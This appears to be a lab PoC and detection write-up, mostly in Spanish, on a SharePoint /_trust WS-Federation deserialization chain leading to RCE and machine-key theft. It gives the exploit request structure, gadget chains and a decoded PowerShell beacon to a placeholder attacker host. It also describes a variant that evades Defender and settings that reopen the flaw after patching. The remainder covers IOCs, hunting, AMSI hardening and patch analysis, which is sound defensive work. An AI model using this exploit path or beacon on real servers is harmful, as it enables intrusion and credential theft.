
PoC, IOCs, and detection logic for the SharePoint /_trust WS-Federation BinaryFormatter deserialization chain. Lab reconstruction covering unauthenticated RCE, in-process machine key theft, and the artifacts each variant leaves behind. SharePoint 2016, 2019, and Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.
/_trust WS-Federation Deserialization: PoC y notas de detecciónInforme en vivo (GitHub Pages): https://sp-poc.wismansec.com/ (renderizado HTML de este documento).
Afecta: SharePoint Server 2016, 2019 y Subscription Edition.
Reconstrucción de una intrusión en SharePoint Server (Subscription Edition) en un laboratorio aislado, realizada para (a) comprender la capacidad completa del atacante, (b) determinar qué debe buscar un defensor, incluida la persistencia sigilosa, y (c) compartir un PoC que ayude a otros investigadores.
Solo investigación autorizada. Todo lo aquí descrito se realizó en hardware y cuentas de laboratorio aislados y de propiedad personal, contra una compilación dejada deliberadamente sin parchear para la prueba. El problema subyacente está corregido por el proveedor; aplica las actualizaciones actuales. No ejecutes esto contra sistemas que no sean tuyos y para los que no tengas autorización explícita de prueba. Los valores de clave de máquina, nombres de host/IP internos y dominios de callback están redactados en el texto y en los artefactos de ejemplo. Las capturas de pantalla del SIEM no están modificadas y llevan los nombres reales del laboratorio; consulta la nota en §4.
SecurityContextToken en /_trustPOST /_trust/default.aspx no autenticada (inicio de sesión WS-Federation) que lleva un SecurityContextToken malicioso desencadena la deserialización BinaryFormatter en el proceso de trabajo de SharePoint (w3wp.exe), lo que produce ejecución remota de código como la identidad del grupo de aplicaciones web./_trust lo detecta y bloquea; consulte §5). Esas claves permiten a un atacante forjar tokens __VIEWSTATE/de autenticación que sobreviven al parcheo./_trust, que es el único artefacto presente en todas las variantes.SharePoint expone un endpoint de inicio de sesión pasivo WS-Federation en /_trust/default.aspx. Una respuesta de inicio de sesión manipulada (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) incrusta un SecurityContextToken cuyo elemento <Cookie> es una secuencia BinaryFormatter comprimida con DEFLATE y codificada en base64. En el lado del servidor, esa cookie se descomprime y se deserializa sin restricción de tipos, por lo que una cadena de gadgets (a través de ysoserial.net) ejecuta código controlado por el atacante dentro de w3wp.exe.
Estructura de la solicitud (no autenticada):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
Scripts (saneados) en scripts/: un RCE OOB parametrizado y el volcado de claves en dos etapas. La entrega del payload usa PowerShell -EncodedCommand para que los payloads de múltiples sentencias sobrevivan intactos a las capas cmd.exe/transporte (sin roturas de comillas por ;/&&).
Una granja única de SharePoint SE (compilación fijada antes del parche), identidad de grupo de aplicaciones LAB\sp_pool, PowerShell 5.1, Microsoft Defender activado con protección en la nube. La telemetría (registros de eventos de Windows, registros de SharePoint, Defender for Endpoint) se envió a nano, un SIEM ligero de código abierto; el host atacante ejecutó ysoserial.net; un cliente interactsh proporcionó el listener OOB. Las direcciones y dominios están redactados en el texto; consulta la nota de capturas en §4.
Cada fila es una detonación real; los artefactos se extrajeron del SIEM + listener OOB por ejecución.
Las capturas de pantalla no están modificadas. Llevan los nombres reales de host y NetBIOS del laboratorio, que son toscos y difieren de los saneados
SHAREPOINT01/LABusados en todo el texto. Mismas ejecuciones, mismos eventos, nada montado. Equivalentes seguros para el trabajo enartifacts/.
Estos resultados corresponden a la configuración AMSI predeterminada (modo Equilibrado, /_trust sin escanear). Con el escaneo del cuerpo de la solicitud AMSI de /_trust habilitado (modo Completo o dirigido), cada fila se bloquea en la capa de solicitud: HTTP 400, Exploit:Script/SpCookieExec.A, antes de la ejecución (consulte §5).

Las cuatro detonaciones documentadas, de 15:01 a 15:18 UTC, cada hijo de w3wp.exe ejecutándose como identidad del grupo de aplicaciones. Tres de las cuatro son powershell.exe generado directamente. Solo la ejecución de las 15:03:34 pasa por cmd.exe, y solo esa fue detectada. Si amplías la ventana más allá de esta, las iteraciones de desarrollo anteriores de la misma mañana entran en el conjunto de resultados, por lo que la afirmación se limita a estas cuatro ejecuciones.

Invocación predeterminada: w3wp.exe → cmd.exe → powershell.exe, con conhost.exe al lado. Esta es la forma en la que se basa Behavior:Win32/WebshellLauncher.A.

Invocación -RawCmd, mismo primitivo y mismo payload, con el salto por cmd.exe eliminado. Defender no produjo nada para esta ejecución. Una detección basada en w3wp → cmd la pasa por alto por completo.

Todos los eventos de Defender en la misma ventana de 25 minutos que contenía cuatro detonaciones. Los tres pertenecen a la única ejecución con cmd.exe: dos malware_detected de gravedad Grave y luego malware_action_taken con la acción Remove. La corrección no se anticipó a la baliza, que se completó primero.
Línea de comandos clave recuperada textualmente del evento de seguridad 4688 (codificación ≠ evasión):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

La línea de comandos codificada tal como aparece en el SIEM. Es base64 de UTF-16LE y nada más; base64 -d | iconv -f utf-16le -t utf-8 recupera el callback en un solo paso. La codificación no es ofuscación.

Sin filtrar, la ventana contiene 20 eventos. El host está activo y enviando telemetría.

Filtrada a hijos de w3wp.exe, la misma ventana está vacía. Sin procesos, sin eventos de Defender, sin baliza. Las claves salieron en la respuesta HTTP y el único artefacto en el host fue la propia solicitud /_trust, que este SIEM no estaba recopilando. Parchear no revoca las claves robadas; rótalas.
Divulgación -Diag capturada en el listener OOB (URL decodificada):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
La única firma presente en todas las variantes. Busca esto primero:
POST /_trust/default.aspx con cuerpo wa=wsignin1.0 y un wresult que contenga RequestSecurityTokenResponse + SecurityContextToken/<Cookie>. No autenticada, a menudo con User-Agent anómalo. Línea base del estado de respuesta: el tráfico legítimo de inicio de sesión WS-Federation hacia este endpoint es predominantemente HTTP 302; el exploit devuelve otros estados (200, 500, un restablecimiento de conexión o 400 cuando AMSI lo bloquea). Donde el endpoint tenga un volumen real de inicios de sesión, trata una respuesta no 302 a POST /_trust/default.aspx como anómala. El estado por sí solo no confirma el éxito del exploit; una ejecución exitosa devolvió tanto 200 como un restablecimiento.Basado en procesos (solo variantes RCE):
w3wp.exe generando cmd.exe o powershell.exe directamente. La variante -RawCmd elimina el salto por cmd.exe y evade WebshellLauncher.A, por lo que no te bases únicamente en w3wp→cmd.powershell.exe -EncodedCommand bajo w3wp: decodifica el blob directamente desde 4688 (no está ofuscado en reposo).w3wp.exe → whoami.exe (reconocimiento), o conhost.exe como hijo.Dos hallazgos que afectan las decisiones de respuesta:
Behavior:Win32/WebshellLauncher.A y la corrigió, se observó que la baliza saliente se completaba antes de que terminara la corrección en al menos una ejecución. Trata dicha detección como un posible callback exitoso y revisa los registros DNS, de proxy y de salida en busca del destino del callback alrededor del momento de la detección.w3wp.exe y devuelve las claves en la respuesta HTTP, por lo que la única evidencia en el host es la solicitud POST /_trust/default.aspx y su respuesta. Que se detecte depende de la configuración del escaneo del cuerpo de la solicitud AMSI.MITRE ATT&CK: T1190 (explotación de aplicación expuesta públicamente) · T1059.001 (PowerShell) · T1552 (credenciales no seguras: claves de máquina) · T1550 (uso de material de autenticación falsificado, posterior al robo).
Ambas cadenas entregan su payload en el cuerpo de la solicitud POST /_trust/default.aspx. Que Microsoft Defender inspeccione ese payload depende de la configuración de escaneo del cuerpo de la solicitud AMSI de SharePoint para la aplicación web. Se probaron tres configuraciones directamente contra esta granja (SharePoint Server Subscription Edition, Microsoft Defender):
| Configuración de escaneo del cuerpo de la solicitud AMSI | Resultado |
|---|---|
Modo Equilibrado, /_trust/default.aspx no está en la lista de endpoints dirigidos (predeterminado) | el cuerpo de la solicitud no se escanea; ambas cadenas se ejecutan; sin detección de Defender |
En la configuración predeterminada, el cuerpo de la solicitud no se inspecciona, por lo que tanto el RCE como la divulgación de claves de máquina se completan sin producir detección AMSI. En cualquiera de las configuraciones de escaneo, la solicitud se rechaza con HTTP 400 antes de la deserialización, no se crea ningún proceso de trabajo y Defender registra:
| Campo | Valor |
|---|
Debido a que la solicitud se bloquea antes de que se ejecute cualquier código, no se crea ningún proceso hijo y no se generan eventos de creación de procesos Security 4688 para ninguna de las dos cadenas. La variante RCE que genera powershell.exe directamente (sin un cmd.exe intermedio) se bloquea de forma idéntica.
Configuración (SharePoint Management Shell, por aplicación web):
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Set-SPMachineKey / actualiza machineKey en web.config + IISReset) en cualquier granja potencialmente comprometida. Parchear detiene el RCE pero no revoca las claves ya robadas; la rotación elimina la capacidad del atacante de forjar FedAuth / SecurityContextToken / __VIEWSTATE para la persistencia.POST /_trust/default.aspx. El inicio de sesión legítimo WS-Federation también apunta a este endpoint con wa=wsignin1.0, por lo que debes fijarte en la estructura específica del exploit, no solo en el endpoint: un wresult cuyo token sea un <SecurityContextToken> con un <Cookie> en base64 (espacio de nombres ; el inicio de sesión legítimo, en cambio, lleva una aserción SAML firmada), junto con una respuesta no 302 (200/500/400 o un restablecimiento) y un User-Agent automatizado o anómalo. El volcado de claves envía dos de estos POST en rápida sucesión. Si están presentes, asume compromiso de las claves.El análisis estático de la corrección del proveedor confirma el mecanismo y resuelve si el RCE necesita las claves de máquina robadas: no. Método: diff binario del parche de Microsoft.SharePoint.IdentityModel.dll entre la CU de junio (KB5002873, 16.0.19725.20384) y la CU de julio (KB5002882, 16.0.19725.20434); descompilado y comparado, en solo lectura.
La ruta de lectura explotada es SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2 (una subclase de System.IdentityModel.Tokens.SessionSecurityTokenHandler). El cambio:
Interpretación. La cadena de transformación anterior al parche era solo deflate, sin cifrado y sin transformación MAC/firma basada en la clave de máquina. El ReadToken base aplica las transformaciones y deserializa el valor de la cookie, por lo que un token falsificado se descomprime y deserializa sin puerta de validación de clave de máquina; el gadget se dispara sin ValidationKey/DecryptionKey (independiente de la clave). La corrección elimina el sumidero (la transformación y ReadToken lanzan excepción) en lugar de añadir una comprobación de firma/descifrado, lo que confirma que no había ninguna puerta de clave que corregir.
Consecuencia. La divulgación de claves de máquina es un objetivo de persistencia separado (forjar FedAuth / SecurityContextToken / __VIEWSTATE), no un requisito previo para el RCE; el volcado de claves es en sí mismo un RCE por la misma ruta y se ejecuta antes de que se robe cualquier clave.
Un segundo endurecimiento, no relacionado, se incluye en la misma CU de julio: validación de firma del token de actor JWT en SPJsonWebSecurityTokenHandlerV2 (RequireSignedTokens de false→true, nuevo VerifyActorTokenSignature), una ruta distinta de token de actor OAuth / servidor a servidor, no la ruta de token de sesión WS-Federation cubierta aquí.
Aplicación de la corrección. La corrección es la CU de julio (KB5002882): reemplaza la transformación de cookies solo deflate por una que lanza excepción, eliminando el sumidero. Después de instalarla, confirma que ningún ajuste de la granja la revierte o la evade. SessionCookieTransformProtectionEnabled establecido en false revierte la cookie de token de sesión a la transformación vulnerable solo deflate (reabriendo el RCE y el volcado de claves), y el indicador de depuración DisableActorTokenSignatureValidation reabre el bypass separado de firma de token de actor JWT endurecido en la misma actualización.
README.md – this document
scripts/ – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/ – hunt queries / IOC list
artifacts/ – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md
| Cadena | Gadget | Efecto | Canal de salida |
|---|
| RCE OOB | TypeConfuseDelegate → -EncodedCommand PowerShell | ejecución de código como identidad del grupo de aplicaciones | fuera de banda (baliza HTTP/DNS) |
| Revelación de claves de máquina | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (compila KeyDump.cs en proceso) | vuelca ValidationKey/DecryptionKey | en la respuesta HTTP |
| Invocación | Árbol de procesos (como LAB\sp_pool, Alto) | Defender | Baliza OOB | Artefactos principales |
|---|
| RCE OOB, predeterminado | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A (EID 1116 detección / 1117 eliminación) | se recibió (carrera) | árbol 4688; Defender 1116/1117; /_trust POST |
RCE OOB, -RawCmd | w3wp.exe → powershell.exe → conhost.exe (sin cmd) | ninguna | se recibió (DNS+HTTP) | árbol 4688; /_trust POST; baliza |
RCE OOB, -DropFile | w3wp.exe → powershell.exe | ninguna | se recibió | escritura de archivo en …\TEMPLATE\LAYOUTS\ (no en el registro auditado de acceso a objetos) |
RCE OOB, -Diag | w3wp.exe → powershell.exe → whoami.exe | ninguna | se recibió | exfiltración de divulgación de entorno: {host, whoami, PSver, LanguageMode} |
| Volcado de claves de máquina | (ninguno, en proceso) | ninguna | (ninguna) | solo el /_trust POST y la respuesta anómala con las claves |
Modo Equilibrado, /_trust/default.aspx añadido como endpoint dirigido | el cuerpo de la solicitud se escanea; la solicitud se bloquea |
| Modo Completo (se escanean todos los endpoints) | el cuerpo de la solicitud se escanea; la solicitud se bloquea |
| Amenaza | Exploit:Script/SpCookieExec.A (ID 2147969862) |
| Gravedad / categoría | Grave / Explotación |
| Origen de la detección | AMSI |
| Acción | Cuarentena |
| Proceso | C:\Windows\System32\inetsrv\w3wp.exe |
http://schemas.microsoft.com/ws/2006/05/security__VIEWSTATE falsificado o autenticación anómala después de la fecha de primera detección./_trust (modo Completo, o añade /_trust/default.aspx como endpoint dirigido en modo Equilibrado; consulte §5). Esto bloquea tanto el RCE como el volcado de claves en la capa de solicitud, antes de la ejecución.| Junio (vulnerable) | Julio (corregido) |
|---|
| Cadena de transformación de cookies | s_Transforms = { new DeflateCookieTransform() } (solo deflate) | s_Transforms = { new NotSupportedCookieTransform() } (Decode/Encode lanzan excepción) |
Invalidaciones de ReadToken | ninguna (hereda el ReadToken base) | ReadToken(XmlReader, SecurityTokenResolver), ReadToken(XmlReader), ReadToken(string) todas lanzan NotSupportedException |